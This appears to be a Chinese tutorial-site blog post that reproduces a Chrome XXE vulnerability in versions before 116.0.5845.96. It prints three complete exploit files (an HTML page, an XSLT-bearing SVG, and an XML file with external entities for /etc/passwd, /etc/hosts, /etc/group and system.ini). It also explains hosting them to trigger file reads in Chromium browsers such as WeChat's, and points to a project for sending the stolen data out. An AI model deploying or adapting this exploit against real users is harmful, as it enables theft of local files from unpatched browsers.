网站首页 > 基础教程 正文
1.漏洞级别
高危
2.漏洞描述
该漏洞的存在是由于 Google Chrome中未充分验证 XML 中不受信任的输入。远程攻击者可利用该漏洞通过构建的 HTML 页面绕过文件访问限制,导致chrome任意文件读取。
总结:一个XXE漏洞
3.利用范围
Google Chrome < 116.0.5845.96
所有使用谷歌内核的浏览器都能触发该漏洞 因此这个漏洞的利用范围其实非常广泛
在复现的时候 对微信浏览器的复现依然可以成功
4.漏洞复现
4.1 漏洞代码
我们需要创建三个文件
c.html
<body>
<div id="r"></div>
<script>
const ifr = document.createElement('iframe');
ifr.style.display = 'none';
document.body.appendChild(ifr);
ifr.onload = function() {
const ifrContent = ifr.contentWindow.document.documentElement.innerHTML;
r.innerHTML = `current url:<br />${location.href}<br /><br />get data:<br />${ifrContent}`;
}
ifr.src = "./c2.svg";
var data = `current url:<br />${location.href}<br /><br />get data:<br />${ifrContent}`;
alert(data);
</script>
</body>
c2.svg
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<svg width="1000%" height="1000%" version="1.1" xmlns="http://www.w3.org/2000/svg">
<foreignObject class="node" font-size="18" width="100%" height="100%">
<body xmlns="http://www.w3.org/1999/xhtml">
<xmp>
<xsl:copy-of select="document('./c3.xml')"/>
</xmp>
</body>
</foreignObject>
</svg>
</xsl:template>
</xsl:stylesheet>
c3.xml
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="?#"?>
<!DOCTYPE p [
<!ENTITY passwd SYSTEM "file:///etc/passwd">
<!ENTITY hosts SYSTEM "file:///etc/hosts">
<!ENTITY group SYSTEM "file://localhost/etc/group">
<!ENTITY sysini SYSTEM "file:///c:/windows/system.ini">
]>
<p>
<p style="border-style: dotted;">/etc/passwd:
&passwd;
</p>
<p style="border-style: dotted;" id="hosts">/etc/hosts:
&hosts;
</p>
<p style="border-style: dotted;">/etc/group:
&group;
</p>
<p style="border-style: dotted;">c:/windows/system.ini:
&sysini;
</p>
</p>
注:xml文件是我们控制输出内容的,写法可以直接参考xml引用外部主体的方法,这里需要注意的是必须要写绝对路径
创建好这3个文件后,上传到服务器部署,没有web环境的童鞋可以通过python快速拉起一个
python3 http.server 8080 #python3
简单复现,在微信电脑端直接搜索生成的网页链接,
点击访问,如果处于漏洞内核版本下就会成功触发
4.2 漏洞利用进阶
这里的敏感数据显示都是存在于网页上,但是我们依然可以通过html的机制把这些敏感数据外发到指定服务器上
可以参考这个项目
https://github.com/idootop/all-seeing-eye/tree/main
后续有时间我就写一个简易的实现代码,如果想直接测试 可以用上面的项目
- 上一篇: 自动化测试工程师的学习方法和逻辑
- 下一篇: 纯JS手写轮播图(代码逻辑清晰,通俗易懂)
猜你喜欢
- 2024-10-12 纯JS手写轮播图(代码逻辑清晰,通俗易懂)
- 2024-10-12 Dom节点优化方案 dom节点树例题
- 2024-10-12 自动化测试工程师的学习方法和逻辑
- 2024-10-12 Web Components 系列(八)——自定义组件的样式设置
- 2024-10-12 JavaScript,自制弹窗(练习) js弹出自定义窗口
- 2024-10-12 掌握 onmouseover 事件:打造动态 HTML 体验
- 2024-10-12 Vue 自定义指令详解-按钮级权限示例(干货)
- 2024-10-12 windows本地程序调用与selenium的简单应用
- 2024-10-12 中高级渗透测试员都必须掌握的Web安全测试知识库,速收藏!
- 2024-10-12 碎片时间学编程「173]:显示所有指定的元素
- 最近发表
- 标签列表
-
- gitpush (61)
- pythonif (68)
- location.href (57)
- tail-f (57)
- pythonifelse (59)
- deletesql (62)
- c++模板 (62)
- css3动画 (57)
- c#event (59)
- linuxgzip (68)
- 字符串连接 (73)
- nginx配置文件详解 (61)
- html标签 (69)
- c++初始化列表 (64)
- exec命令 (59)
- canvasfilltext (58)
- mysqlinnodbmyisam区别 (63)
- arraylistadd (66)
- node教程 (59)
- console.table (62)
- c++time_t (58)
- phpcookie (58)
- mysqldatesub函数 (63)
- window10java环境变量设置 (66)
- c++虚函数和纯虚函数的区别 (66)